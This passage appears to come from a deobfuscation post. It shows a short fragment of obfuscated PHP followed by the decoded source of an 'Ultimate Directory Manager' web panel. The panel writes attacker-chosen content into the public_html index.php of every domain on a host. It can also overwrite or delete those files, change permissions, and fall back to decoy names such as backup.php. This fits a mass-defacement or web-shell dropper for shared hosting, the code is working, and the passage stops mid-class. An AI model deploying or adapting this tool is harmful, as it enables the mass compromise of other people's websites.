eQZQw: switch ($kDbpk) { case "\146\x6f\x72\x63\x65": return $YuuS7 . "\57" . $jN4lg; case "\x64\151\x73\141\x62\x6c\145": return $i4rJa . "\x2f" . $jN4lg; case "\x61\x75\x74\x6f": default: return (is_dir($YuuS7) ? $YuuS7 : $i4rJa) . "\57" . $jN4lg; } goto jCA0z; XK1lt: $YuuS7 = $i4rJa . "\57\160\x75\142\154\151\143\137\150\x74\155\x6c"; goto eQZQw; hW75Q: X8L14: goto LmiQ5; LmiQ5: } private function bEH_1($YbvKT, $kDbpk) { goto ipQwP; ipQwP: if (!($kDbpk === "\146\157\x72\143\x65")) { goto qBrYZ; } goto BixVG; ex1iN: qBrYZ: goto bTViJ; bTViJ: return strpos($YbvKT, "\x70\165\142\x6c\x69\x63\137\150\164\x6d\x6c") !== false ? "\xf0\237\x8c\220\40\x41\165\164\x6f\x20\x50\x75\142\154\x69\x63\x5f\x48\124\115\114" : "\xf0\237\x93\202\x20\104\151\162\145\143\164\x20\x44\x6f\x6d\141\x69\x6e"; goto N_rIf; BixVG: return "\360\x9f\x93\x81\40\x46\x6f\162\x63\x65\40\x50\165\x62\x6c\151\143\x5f\110\x54\115\114"; goto ex1iN; N_rIf: } private function sOZwP($byHui, $jN4lg, $bUqnG, $pB2Vv, $YZzKK = false, $kDbpk = "\x61\165\164\x6f") { goto Y9eET; rmUHD: return; goto XRuUI; FFlf1: $this->ueBxO("\x44\151\162\x65\x63\x74\157\162\x79\40\x64\157\x65\163\x20\156\157\164\x20\x65\x78\151\x73\x74"); goto rmUHD; aV7AY: if ($YZzKK) { goto JBc5o; } goto FFCQP; czbc3: return $UF4SO; goto XEWMu; XRuUI: W9lAc: goto tvK9y; Uamwg: echo "\x3c\150\x33\76\360\x9f\x93\x8a\40\x44\145\x70\154\157\171\x6d\x65\x6e\164\40\122\x65\163\165\154\164\163\x20\50" . strtoupper($p

デコード(難読化解除)されたコード

<?php

class OpNOT
{
    private $ADco2;
    private $XKyds;
    private $sYQMg;
    private $LRakP = array("php", "html", "htm", "txt", "js", "css", "xml", "json");
    public function __construct()
    {
        $this->ADco2 = getcwd();
        $this->XKyds = "index.php";
        $this->sYQMg = "<?php echo \"Security Check\"; ?>";
    }
    public function Fj6Dk()
    {
        echo "<!DOCTYPE html>\n        <html lang=\"en\">\n        <head>\n            <meta charset=\"UTF-8\">\n            <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n            <title>Ultimate Directory Manager</title>\n            <style>\n                body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }\n                .container { max-width: 1100px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }\n                .form-group { margin-bottom: 15px; }\n                label { display: block; margin-bottom: 5px; font-weight: bold; }\n                input[type=\"text\"], textarea, select { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }\n                textarea { height: 200px; font-family: monospace; }\n                .btn { background: #007bff; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; margin-right: 10px; margin-bottom: 5px; }\n                .btn:hover { opacity: 0.9; }\n                .btn-scan { background: #28a745; }\n                .btn-overwrite { background: #ffc107; color: black; }\n                .btn-delete { background: #dc3545; }\n                .btn-fix { background: #17a2b8; }\n                .btn-emergency { background: #fd7e14; }\n                .btn-custom { background: #6f42c1; }\n                .result { margin-top: 20px; padding: 15px; background: #f8f9fa; border-radius: 4px; }\n                .success { color: #28a745; border-left: 4px solid #28a745; padding-left: 10px; }\n                .error { color: #dc3545; border-left: 4px solid #dc3545; padding-left: 10px; }\n                .warning { color: #856404; border-left: 4px solid #ffc107; padding-left: 10px; }\n                .info { color: #004085; border-left: 4px solid #007bff; padding-left: 10px; }\n                .fixed { color: #17a2b8; border-left: 4px solid #17a2b8; padding-left: 10px; }\n                .file-list { max-height: 300px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; }\n                .stats { background: #e9ecef; padding: 10px; border-radius: 4px; margin: 10px 0; }\n                .tab { overflow: hidden; border: 1px solid #ccc; background: #f1f1f1; }\n                .tab button { background: inherit; float: left; border: none; outline: none; cursor: pointer; padding: 10px 16px; transition: 0.3s; }\n                .tab button:hover { background: #ddd; }\n                .tab button.active { background: #007bff; color: white; }\n                .tabcontent { display: none; padding: 15px; border: 1px solid #ccc; border-top: none; }\n                .permission-info { background: #fff3cd; padding: 10px; border-radius: 4px; margin: 10px 0; }\n                .emergency-box { background: #f8d7da; padding: 15px; border-radius: 4px; margin: 10px 0; }\n                .custom-box { background: #d1ecf1; padding: 15px; border-radius: 4px; margin: 10px 0; }\n                .fallback-option { background: #e2e3e5; padding: 10px; margin: 5px 0; border-radius: 4px; }\n                .toggle-content { display: none; margin-top: 10px; }\n                .path-info { color: #666; font-size: 0.9em; margin-top: 5px; }\n            </style>\n        </head>\n        <body>\n            <div class=\"container\">\n                <h2>🚀 Ultimate Directory Manager</h2>\n                \n                <div class=\"tab\">\n                    <button class=\"tablink active\" onclick=\"openTab(event, 'deploy')\">📁 Deploy Files</button>\n                    <button class=\"tablink\" onclick=\"openTab(event, 'manage')\">⚙️ Manage Files</button>\n                    <button class=\"tablink\" onclick=\"openTab(event, 'permission')\">🔐 Fix Permissions</button>\n                    <button class=\"tablink\" onclick=\"openTab(event, 'emergency')\">🆕 Emergency Create</button>\n                    <button class=\"tablink\" onclick=\"openTab(event, 'custom')\">🎨 Custom Fallback</button>\n                </div>\n                \n                <!-- Deploy Tab -->\n                <div id=\"deploy\" class=\"tabcontent\" style=\"display: block;\">\n                    <form method=\"POST\">\n                        <div class=\"form-group\">\n                            <label>📂 Base Directory:</label>\n                            <input type=\"text\" name=\"base_dir\" value=\"" . htmlspecialchars($this->ADco2) . "\" required>\n                            <div class=\"path-info\">💡 Example: /home/user/domains - will auto-detect public_html</div>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📄 File Name:</label>\n                            <input type=\"text\" name=\"file_name\" value=\"" . htmlspecialchars($this->XKyds) . "\" required>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📝 File Content:</label>\n                            <textarea name=\"file_content\" required>" . htmlspecialchars($this->sYQMg) . "</textarea>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🔧 Action:</label>\n                            <select name=\"action\">\n                                <option value=\"scan\">🔍 Scan Directories Only</option>\n                                <option value=\"create\">➕ Create Files (Skip Existing)</option>\n                                <option value=\"overwrite\">✏️ Overwrite Existing Files</option>\n                                <option value=\"update\">🔄 Create or Update All</option>\n                                <option value=\"force_update\">💪 Force Update with Permission Fix</option>\n                            </select>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🌐 Public_HTML Detection:</label>\n                            <select name=\"public_html_mode\">\n                                <option value=\"auto\" selected>🔄 Auto-Detect (Recommended)</option>\n                                <option value=\"force\">📁 Force Public_HTML Path</option>\n                                <option value=\"disable\">❌ Disable Public_HTML Detection</option>\n                            </select>\n                            <div class=\"path-info\">Auto: Check public_html, Force: always add public_html, Disable: directly in domain folder</div>\n                        </div>\n                        \n                        <button type=\"submit\" class=\"btn\" name=\"execute\">Execute</button>\n                    </form>\n                </div>\n                \n                <!-- Manage Tab -->\n                <div id=\"manage\" class=\"tabcontent\">\n                    <form method=\"POST\">\n                        <div class=\"form-group\">\n                            <label>📂 Base Directory:</label>\n                            <input type=\"text\" name=\"base_dir\" value=\"" . htmlspecialchars($this->ADco2) . "\" required>\n                            <div class=\"path-info\">💡 Example: /home/user/domains - will auto-detect public_html</div>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📄 File Name to Manage:</label>\n                            <input type=\"text\" name=\"target_file\" value=\"index.php\" required>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🌐 Public_HTML Mode:</label>\n                            <select name=\"public_html_mode\">\n                                <option value=\"auto\" selected>🔄 Auto-Detect</option>\n                                <option value=\"force\">📁 Force Public_HTML</option>\n                                <option value=\"disable\">❌ Disable</option>\n                            </select>\n                        </div>\n                        \n                        <button type=\"submit\" class=\"btn btn-scan\" name=\"action\" value=\"scan_files\">🔍 Scan Existing Files</button>\n                        <button type=\"submit\" class=\"btn btn-delete\" name=\"action\" value=\"delete_files\" onclick=\"return confirm('Are you sure you want to delete all files?')\">🗑️ Delete All Files</button>\n                        <button type=\"submit\" class=\"btn\" name=\"action\" value=\"view_files\">👁️ View File Contents</button>\n                    </form>\n                </div>\n                \n                <!-- Permission Tab -->\n                <div id=\"permission\" class=\"tabcontent\">\n                    <form method=\"POST\">\n                        <div class=\"form-group\">\n                            <label>📂 Base Directory:</label>\n                            <input type=\"text\" name=\"base_dir\" value=\"" . htmlspecialchars($this->ADco2) . "\" required>\n                            <div class=\"path-info\">💡 Example: /home/user/domains - will auto-detect public_html</div>\n                        </div>\n                        \n                        <div class=\"permission-info\">\n                            <strong>🔐 Permission Fix Features:</strong><br>\n                            • Attempt to change directory permissions to 0755<br>\n                            • Attempt to change file permissions to 0644<br>\n                            • Auto-fallback if permission change fails\n                        </div>\n                        \n                        <button type=\"submit\" class=\"btn btn-fix\" name=\"action\" value=\"fix_permissions\">🛠️ Fix Directory Permissions</button>\n                        <button type=\"submit\" class=\"btn btn-fix\" name=\"action\" value=\"fix_file_permissions\">📄 Fix File Permissions</button>\n                        <button type=\"submit\" class=\"btn\" name=\"action\" value=\"check_permissions\">🔍 Check Current Permissions</button>\n                    </form>\n                </div>\n                \n                <!-- Emergency Tab -->\n                <div id=\"emergency\" class=\"tabcontent\">\n                    <form method=\"POST\">\n                        <div class=\"form-group\">\n                            <label>📂 Base Directory:</label>\n                            <input type=\"text\" name=\"base_dir\" value=\"" . htmlspecialchars($this->ADco2) . "\" required>\n                            <div class=\"path-info\">💡 Example: /home/user/domains - will auto-detect public_html</div>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📄 Original File Name:</label>\n                            <input type=\"text\" name=\"original_file\" value=\"index.php\" required>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📝 File Content:</label>\n                            <textarea name=\"file_content\" required>" . htmlspecialchars($this->sYQMg) . "</textarea>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🌐 Public_HTML Mode:</label>\n                            <select name=\"public_html_mode\">\n                                <option value=\"auto\" selected>🔄 Auto-Detect</option>\n                                <option value=\"force\">📁 Force Public_HTML</option>\n                                <option value=\"disable\">❌ Disable</option>\n                            </select>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🔄 Fallback Strategy:</label>\n                            <select name=\"fallback_strategy\">\n                                <option value=\"auto_generate\">🔄 Auto-Generate Names</option>\n                                <option value=\"custom_list\">🎨 Use Custom Names</option>\n                            </select>\n                        </div>\n                        \n                        <div class=\"emergency-box\">\n                            <strong>🆕 Emergency Creation Mode:</strong><br>\n                            • Try to create with original filename<br>\n                            • If failed, use selected fallback strategy<br>\n                            • Bypass permission restrictions<br>\n                            • Multiple fallback strategies\n                        </div>\n                        \n                        <button type=\"submit\" class=\"btn btn-emergency\" name=\"action\" value=\"emergency_create\">🚨 Emergency File Creation</button>\n                    </form>\n                </div>\n                \n                <!-- Custom Fallback Tab -->\n                <div id=\"custom\" class=\"tabcontent\">\n                    <form method=\"POST\" id=\"customForm\">\n                        <div class=\"form-group\">\n                            <label>📂 Base Directory:</label>\n                            <input type=\"text\" name=\"base_dir\" value=\"" . htmlspecialchars($this->ADco2) . "\" required>\n                            <div class=\"path-info\">💡 Example: /home/user/domains - will auto-detect public_html</div>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📄 Original File Name:</label>\n                            <input type=\"text\" name=\"original_file\" value=\"index.php\" required>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>📝 File Content:</label>\n                            <textarea name=\"file_content\" required>" . htmlspecialchars($this->sYQMg) . "</textarea>\n                        </div>\n                        \n                        <div class=\"form-group\">\n                            <label>🌐 Public_HTML Mode:</label>\n                            <select name=\"public_html_mode\">\n                                <option value=\"auto\" selected>🔄 Auto-Detect</option>\n                                <option value=\"force\">📁 Force Public_HTML</option>\n                                <option value=\"disable\">❌ Disable</option>\n                            </select>\n                        </div>\n                        \n                        <div class=\"custom-box\">\n                            <strong>🎨 Custom Fallback Names:</strong><br>\n                            <small>Enter custom fallback names (one per line, will be tried in order):</small>\n                            <textarea name=\"custom_fallback_names\" placeholder=\"backup.php&#10;new_index.php&#10;default.php&#10;alt.php\" style=\"height: 100px;\">backup.php\\nnew_index.php\\ndefault.php\\nalt.php</textarea>\n                        </div>\n                        \n                        <div class=\"fallback-option\">\n                            <label>\n                                <input type=\"checkbox\" name=\"include_auto_generate\" value=\"1\" checked> \n                                🔄 Include auto-generated names as final fallback\n                            </label>\n                        </div>\n                        \n                        <div class=\"fallback-option\">\n                            <label>\n                                <input type=\"checkbox\" name=\"add_timestamp\" value=\"1\"> \n                                ⏰ Add timestamp to custom names\n                            </label>\n                        </div>\n                        \n                        <div class=\"fallback-option\">\n                            <label>\n                                <input type=\"checkbox\" name=\"add_directory_hash\" value=\"1\"> \n                                #️⃣ Add directory hash to custom names\n                            </label>\n                        </div>\n                        \n                        <button type=\"submit\" class=\"btn btn-custom\" name=\"action\" value=\"custom_fallback\">🎨 Deploy with Custom Fallback</button>\n                    </form>\n                </div>";
    }
    public function tTEzc()
    {
        if (!($_SERVER["REQUEST_METHOD"] !== "POST")) {
            $aGgmK = $_POST["action"] ?? '';
            $byHui = $_POST["base_dir"] ?? '';
            $jN4lg = $_POST["file_name"] ?? $_POST["target_file"] ?? $_POST["original_file"] ?? '';
            $bUqnG = $_POST["file_content"] ?? '';
            $kDbpk = $_POST["public_html_mode"] ?? "auto";
            if ($this->Hbx0l($byHui, $jN4lg, $bUqnG)) {
                $byHui = rtrim($byHui, "/");
                $jN4lg = basename($jN4lg);
                switch ($aGgmK) {
                    case "scan":
                        $this->kLUOq($byHui, $jN4lg, $kDbpk);
                        goto Uqjhk;
                    case "create":
                        $this->sOzwP($byHui, $jN4lg, $bUqnG, "create", false, $kDbpk);
                        goto Uqjhk;
                    case "overwrite":
                        $this->sOzwP($byHui, $jN4lg, $bUqnG, "overwrite", false, $kDbpk);
                        goto Uqjhk;
                    case "update":
                        $this->sOZwP($byHui, $jN4lg, $bUqnG, "update", false, $kDbpk);
                        goto Uqjhk;
                    case "force_update":
                        $this->CGgfH($byHui, $jN4lg, $bUqnG, $kDbpk);
                        goto Uqjhk;
                    case "scan_files":
                        $this->cJdAn($byHui, $jN4lg, $kDbpk);
                        goto Uqjhk;
                    case "delete_files":
                        $this->zTjhe($byHui, $jN4lg, $kDbpk);
                        goto Uqjhk;
                    case "view_files":
                        $this->tXw0C($byHui, $jN4lg, $kDbpk);
                        goto Uqjhk;
                    case "fix_permissions":
                        $this->Yd3PL($byHui, false, $kDbpk);
                        goto Uqjhk;
                    case "fix_file_permissions":
                        $this->N7eFb($byHui, $jN4lg, $kDbpk);
                        goto Uqjhk;
                    case "check_permissions":
                        $this->m93DR($byHui, $kDbpk);
                        goto Uqjhk;
                    case "emergency_create":
                        $fiHG1 = $_POST["fallback_strategy"] ?? "auto_generate";
                        $this->XuMpd($byHui, $jN4lg, $bUqnG, $fiHG1, $kDbpk);
                        goto Uqjhk;
                    case "custom_fallback":
                        $this->qv6Hi($byHui, $jN4lg, $bUqnG, $kDbpk);
                        goto Uqjhk;
                }
                Uqjhk:
                // [PHPDeobfuscator] Implied return
                return;
            }
            $this->UeBXo("Invalid input parameters");
            return;
        }
        return;
    }
    private function smjQx($byHui, $kDbpk = "auto")
    {
        $qrQos = [];
        if (is_dir($byHui)) {
            $DWHGf = $this->TUvFx($byHui);
            foreach ($DWHGf as $i4rJa) {
                $YuuS7 = $i4rJa . "/public_html";
                switch ($kDbpk) {
                    case "force":
                        $qrQos[] = $YuuS7;
                        goto KPd_o;
                    case "disable":
                        $qrQos[] = $i4rJa;
                        goto KPd_o;
                    case "auto":
                    default:
                        $qrQos[] = is_dir($YuuS7) ? $YuuS7 : $i4rJa;
                        goto KPd_o;
                }
                KPd_o:
            }
            return $qrQos;
        }
        return $qrQos;
    }
    private function KGnhn($i4rJa, $jN4lg, $kDbpk = "auto")
    {
        $YuuS7 = $i4rJa . "/public_html";
        switch ($kDbpk) {
            case "force":
                return $YuuS7 . "/" . $jN4lg;
            case "disable":
                return $i4rJa . "/" . $jN4lg;
            case "auto":
            default:
                return (is_dir($YuuS7) ? $YuuS7 : $i4rJa) . "/" . $jN4lg;
        }
    }
    private function bEH_1($YbvKT, $kDbpk)
    {
        if (!($kDbpk === "force")) {
            return strpos($YbvKT, "public_html") !== false ? "🌐 Auto Public_HTML" : "📂 Direct Domain";
        }
        return "📁 Force Public_HTML";
    }
    private function sOZwP($byHui, $jN4lg, $bUqnG, $pB2Vv, $YZzKK = false, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $qrQos = $this->SMjQx($byHui, $kDbpk);
            $UF4SO = ["created" => 0, "updated" => 0, "skipped" => 0, "failed" => 0];
            if ($YZzKK) {
                goto JBc5o;
            }
            echo "<div class=\"result\">";
            JBc5o:
            echo "<h3>📊 Deployment Results (" . strtoupper($pB2Vv) . " Mode) - " . $kDbpk . "</h3>";
            foreach ($qrQos as $jZ3jW) {
                if (!$YZzKK) {
                    goto SXLXe;
                }
                @chmod($jZ3jW, 0755);
                SXLXe:
                $Hz7V7 = $this->KGNhN(dirname($jZ3jW), $jN4lg, $kDbpk);
                $thRbB = file_exists($Hz7V7);
                $v6HrE = $this->Beh_1($Hz7V7, $kDbpk);
                $PayvA = false;
                switch ($pB2Vv) {
                    case "create":
                        $PayvA = !$thRbB;
                        goto iJhJI;
                    case "overwrite":
                        $PayvA = $thRbB;
                        goto iJhJI;
                    case "update":
                        $PayvA = true;
                        goto iJhJI;
                }
                iJhJI:
                if ($PayvA) {
                    $oj9M2 = $this->nCxk2($Hz7V7, $bUqnG, $YZzKK);
                    if ($oj9M2) {
                        $driyf = $thRbB ? "updated" : "created";
                        echo "<p class=\"success\">✅ " . ucfirst($driyf) . ": " . htmlspecialchars($Hz7V7) . " <small>[" . $v6HrE . "]</small></p>";
                        $UF4SO[$driyf === "created" ? "created" : "updated"]++;
                        goto h5Jcx;
                    }
                    echo "<p class=\"error\">❌ Failed: " . htmlspecialchars($Hz7V7) . " <small>[" . $v6HrE . "]</small></p>";
                    $UF4SO["failed"]++;
                    h5Jcx:
                    goto eUS4H;
                }
                echo "<p class=\"warning\">⏭️ Skipped: " . htmlspecialchars($Hz7V7) . " <small>[" . $v6HrE . "]</small></p>";
                $UF4SO["skipped"]++;
                eUS4H:
            }
            $this->xEaba($UF4SO, $kDbpk);
            if ($YZzKK) {
                goto AOeTm;
            }
            echo "</div>";
            AOeTm:
            return $UF4SO;
        }
        $this->ueBxO("Directory does not exist");
        return;
    }
    private function ncXK2($Hz7V7, $d5AC2, $pOIs8 = false)
    {
        $gdsS7 = dirname($Hz7V7);
        if (is_dir($gdsS7)) {
            goto wIgPe;
        }
        if (@mkdir($gdsS7, 0755, true)) {
            wIgPe:
            if (!$pOIs8) {
                goto P7Osk;
            }
            @chmod($gdsS7, 0755);
            P7Osk:
            $oj9M2 = @file_put_contents($Hz7V7, $d5AC2);
            if (!($oj9M2 && $pOIs8)) {
                goto dKHGK;
            }
            @chmod($Hz7V7, 0644);
            dKHGK:
            return $oj9M2 !== false;
        }
        return false;
    }
    private function Qv6hI($byHui, $rwSWg, $bUqnG, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $uEtDT = $this->DQgdL();
            $dXAM8 = isset($_POST["include_auto_generate"]);
            $h5zNV = isset($_POST["add_timestamp"]);
            $Sqiv2 = isset($_POST["add_directory_hash"]);
            $qrQos = $this->SMJQx($byHui, $kDbpk);
            $UF4SO = ["created" => 0, "failed" => 0, "custom_used" => 0, "auto_used" => 0];
            echo "<div class=\"result\">";
            echo "<h3>🎨 Custom Fallback Deployment - " . $kDbpk . "</h3>";
            foreach ($qrQos as $jZ3jW) {
                $i4rJa = dirname($jZ3jW);
                $oxL36 = $this->boi9i($i4rJa, $rwSWg, $bUqnG, $uEtDT, $dXAM8, $h5zNV, $Sqiv2, $UF4SO, $kDbpk);
                if ($oxL36) {
                    goto OxwBk;
                }
                echo "<p class=\"error\">❌ All attempts failed for: " . htmlspecialchars($i4rJa) . "</p>";
                OxwBk:
            }
            echo "<div class=\"stats\">";
            echo "<strong>Custom Fallback Summary:</strong><br>";
            echo "✅ Files created: " . $UF4SO["created"] . "<br>";
            echo "🎨 Custom names used: " . $UF4SO["custom_used"] . "<br>";
            echo "🔄 Auto-generated used: " . $UF4SO["auto_used"] . "<br>";
            echo "❌ Failed: " . $UF4SO["failed"] . "<br>";
            echo "<strong>Path Mode:</strong> " . $kDbpk;
            echo "</div>";
            echo "</div>";
            // [PHPDeobfuscator] Implied return
            return;
        }
        $this->UEbXO("Directory does not exist");
        return;
    }
    private function DQGdL()
    {
        $XV1GV = explode("\n", str_replace("\r", '', $_POST["custom_fallback_names"] ?? ''));
        $XV1GV = array_map("trim", $XV1GV);
        return array_filter($XV1GV);
    }
    private function BOi9I($i4rJa, $rwSWg, $d5AC2, $uEtDT, $dXAM8, $h5zNV, $Sqiv2, &$UF4SO, $kDbpk = "auto")
    {
        $QMUdE = $this->sK7R7($rwSWg, $uEtDT, $i4rJa, $h5zNV, $Sqiv2);
        if (!$dXAM8) {
            goto JBjlg;
        }
        $arU8R = $this->FxXsG($rwSWg, $i4rJa);
        $QMUdE = array_merge($QMUdE, $arU8R);
        JBjlg:
        $QMUdE = array_unique($QMUdE);
        foreach ($QMUdE as $RZQHM) {
            $Hz7V7 = $this->KGnhN($i4rJa, $RZQHM, $kDbpk);
            if (!$this->ncXk2($Hz7V7, $d5AC2, true)) {
            }
            $this->o3TtC($Hz7V7, $RZQHM, $rwSWg, $uEtDT, $UF4SO, $kDbpk);
            return true;
        }
        $UF4SO["failed"]++;
        return false;
    }
    private function klUoq($byHui, $jN4lg, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $qrQos = $this->smjqx($byHui, $kDbpk);
            echo "<div class=\"result\">";
            echo "<h3>🔍 Scan Results - " . $kDbpk . "</h3>";
            echo "<p>Found " . count($qrQos) . " target directories</p>";
            if (empty($qrQos)) {
                goto AnTHr;
            }
            echo "<div class=\"file-list\">";
            foreach ($qrQos as $jZ3jW) {
                $Hz7V7 = $this->KGnhN(dirname($jZ3jW), $jN4lg, $kDbpk);
                $DDQaS = file_exists($Hz7V7) ? "🟢 Exists" : "🔴 Missing";
                $v6HrE = $this->BEH_1($Hz7V7, $kDbpk);
                echo "<p>" . $DDQaS . " - " . htmlspecialchars($Hz7V7) . " <small>[" . $v6HrE . "]</small></p>";
            }
            echo "</div>";
            AnTHr:
            echo "</div>";
            // [PHPDeobfuscator] Implied return
            return;
        }
        $this->uEBXo("Directory does not exist");
        return;
    }
    private function cjDan($byHui, $jN4lg, $kDbpk = "auto")
    {
        $eFNT3 = $this->CnxWq($byHui, $jN4lg, $kDbpk);
        echo "<div class=\"result\">";
        echo "<h3>🔍 Existing Files Scan - " . $kDbpk . "</h3>";
        echo "<p>Found " . count($eFNT3) . " files matching \"" . htmlspecialchars($jN4lg) . "\"</p>";
        if (empty($eFNT3)) {
            goto i1LSD;
        }
        echo "<div class=\"file-list\">";
        foreach ($eFNT3 as $PDbsQ) {
            $Jp6zP = filesize($PDbsQ) ?: 0;
            $F33YU = $this->oh98D($PDbsQ);
            $yZihb = is_writable($PDbsQ) ? "🟢 Writable" : "🔴 Read-only";
            $v6HrE = $this->BEh_1($PDbsQ, $kDbpk);
            echo "<p class=\"info\">📄 " . htmlspecialchars($PDbsQ) . " (" . $this->WlQ4b($Jp6zP) . ") - " . $yZihb . " (Perms: " . $F33YU . ") <small>[" . $v6HrE . "]</small></p>";
        }
        echo "</div>";
        i1LSD:
        echo "</div>";
    }
    private function cnXWQ($byHui, $jN4lg, $kDbpk = "auto")
    {
        $eFNT3 = [];
        $qrQos = $this->SMjqX($byHui, $kDbpk);
        foreach ($qrQos as $jZ3jW) {
            $Hz7V7 = $this->kGnhn(dirname($jZ3jW), $jN4lg, $kDbpk);
            if (!file_exists($Hz7V7)) {
                goto eL65c;
            }
            $eFNT3[] = $Hz7V7;
            eL65c:
        }
        return $eFNT3;
    }
    private function XuMPd($byHui, $rwSWg, $bUqnG, $fiHG1, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $qrQos = $this->SMJqx($byHui, $kDbpk);
            $UF4SO = ["created" => 0, "failed" => 0, "fallback_used" => 0];
            echo "<div class=\"result\">";
            echo "<h3>🚨 Emergency File Creation (" . ($fiHG1 === "auto_generate" ? "Auto-Generate" : "Custom List") . ") - " . $kDbpk . "</h3>";
            foreach ($qrQos as $jZ3jW) {
                $i4rJa = dirname($jZ3jW);
                if ($fiHG1 === "auto_generate") {
                    $oxL36 = $this->G0_ef($i4rJa, $rwSWg, $bUqnG, $UF4SO, $kDbpk);
                    goto Z6kuX;
                }
                $uEtDT = ["backup.php", "new_index.php", "default.php", "alt.php"];
                $oxL36 = $this->BOi9I($i4rJa, $rwSWg, $bUqnG, $uEtDT, true, false, false, $UF4SO, $kDbpk);
                Z6kuX:
                if ($oxL36) {
                    goto FS4PI;
                }
                echo "<p class=\"error\">❌ All attempts failed for: " . htmlspecialchars($i4rJa) . "</p>";
                FS4PI:
            }
            echo "<div class=\"stats\">";
            echo "<strong>Emergency Creation Summary:</strong><br>";
            echo "✅ Files created: " . $UF4SO["created"] . "<br>";
            echo "🔄 Fallback used: " . $UF4SO["fallback_used"] . "<br>";
            echo "❌ Failed: " . $UF4SO["failed"] . "<br>";
            echo "<strong>Path Mode:</strong> " . $kDbpk;
            echo "</div>";
            echo "</div>";
            // [PHPDeobfuscator] Implied return
            return;
        }
        $this->UEBXO("Directory does not exist");
        return;
    }
    private function G0_ef($i4rJa, $rwSWg, $d5AC2, &$UF4SO, $kDbpk = "auto")
    {
        $QMUdE = $this->fxxsg($rwSWg, $i4rJa);
        foreach ($QMUdE as $RZQHM) {
            $Hz7V7 = $this->KGnHN($i4rJa, $RZQHM, $kDbpk);
            if (!$this->Ncxk2($Hz7V7, $d5AC2, true)) {
            }
            $ZJkYq = $RZQHM !== $rwSWg ? " (Fallback: " . $RZQHM . ")" : '';
            $v6HrE = $this->BEh_1($Hz7V7, $kDbpk);
            echo "<p class=\"success\">✅ Created: " . htmlspecialchars($Hz7V7) . $ZJkYq . " <small>[" . $v6HrE . "]</small></p>";
            $UF4SO["created"]++;
            if (!($RZQHM !== $rwSWg)) {
                goto LcL73;
            }
            $UF4SO["fallback_used"]++;
            LcL73:
            return true;
        }
        $UF4SO["failed"]++;
        return false;
    }
    private function CGGFh($byHui, $jN4lg, $bUqnG, $kDbpk = "auto")
    {
        echo "<div class=\"result\">";
        echo "<h3>💪 Force Deployment with Permission Fix - " . $kDbpk . "</h3>";
        $this->yD3pL($byHui, true, $kDbpk);
        $this->sOZwP($byHui, $jN4lg, $bUqnG, "update", true, $kDbpk);
        echo "</div>";
    }
    private function yd3PL($byHui, $o_FDb = false, $kDbpk = "auto")
    {
        if (is_dir($byHui)) {
            $j30qy = $this->HXDss($byHui);
            $qrQos = $this->smJqx($byHui, $kDbpk);
            $j30qy = array_merge($j30qy, $qrQos);
            $UF4SO = ["success" => 0, "failed" => 0];
            if ($o_FDb) {
                goto OQHpO;
            }
            echo "<div class=\"result\">";
            OQHpO:
            echo "<h3>🛠️ Fixing Directory Permissions - " . $kDbpk . "</h3>";
            foreach ($j30qy as $wsNpY) {
                $jSB_u = $this->OH98d($wsNpY);
                if (@chmod($wsNpY, 0755)) {
                    $oDLn8 = $this->oh98d($wsNpY);
                    $v6HrE = $this->beH_1($wsNpY, $kDbpk);
                    echo "<p class=\"fixed\">✅ Fixed: " . htmlspecialchars($wsNpY) . " (" . $jSB_u . " → " . $oDLn8 . ") <small>[" . $v6HrE . "]</small></p>";
                    $UF4SO["success"]++;
                    goto GULYX;
                }
                $v6HrE = $this->beh_1($wsNpY, $kDbpk);
                echo "<p class=\"warning\">⚠️ Failed: " . htmlspecialchars($wsNpY) . " (Current: " . $jSB_u . ") <small>[" . $v6HrE . "]</small></p>";
                $UF4SO["failed"]++;
                GULYX:
            }
            $this->xeAba($UF4SO, $kDbpk);
            if ($o_FDb) {
                goto SxA1s;
            }
            echo "</div>";
            SxA1s:
            return $UF4SO;
        }
        if ($o_FDb) {
            goto zTNZu;
        }
        $this->uEbxo("Directory does not exist");
        zTNZu:
        return [];
    }
    private function n7eFB($byHui, $jN4lg, $kDbpk = "auto")
    {
        $eFNT3 = $this->CnxWQ($byHui, $jN4lg, $kDbpk);
        $UF4SO = ["success" => 0, "failed" => 0];
        echo "<div class=\"result\">";
        echo "<h3>📄 Fixing File Permissions - " . $kDbpk . "</h3>";
        foreach ($eFNT3 as $PDbsQ) {
            $jSB_u = $this->OH98D($PDbsQ);
            if (@chmod($PDbsQ, 0644)) {
                $oDLn8 = $this->oh98d($PDbsQ);
                $v6HrE = $this->bEh_1($PDbsQ, $kDbpk);
                echo "<p class=\"fixed\">✅ Fixed: " . htmlspecialchars($PDbsQ) . " (" . $jSB_u . " → " . $oDLn8 . ") <small>[" . $v6HrE . "]</small></p>";
                $UF4SO["success"]++;
                goto X7tHQ;
            }
            $v6HrE = $this->Beh_1($PDbsQ, $kDbpk);
            echo "<p class=\"warning\">⚠️ Failed: " . htmlspecialchars($PDbsQ) . " (Current: " . $jSB_u . ") <small>[" . $v6HrE . "]</small></p>";
            $UF4SO["failed"]++;
            X7tHQ:
        }
        $this->XEAba($UF4SO, $kDbpk);
        echo "</div>";
    }
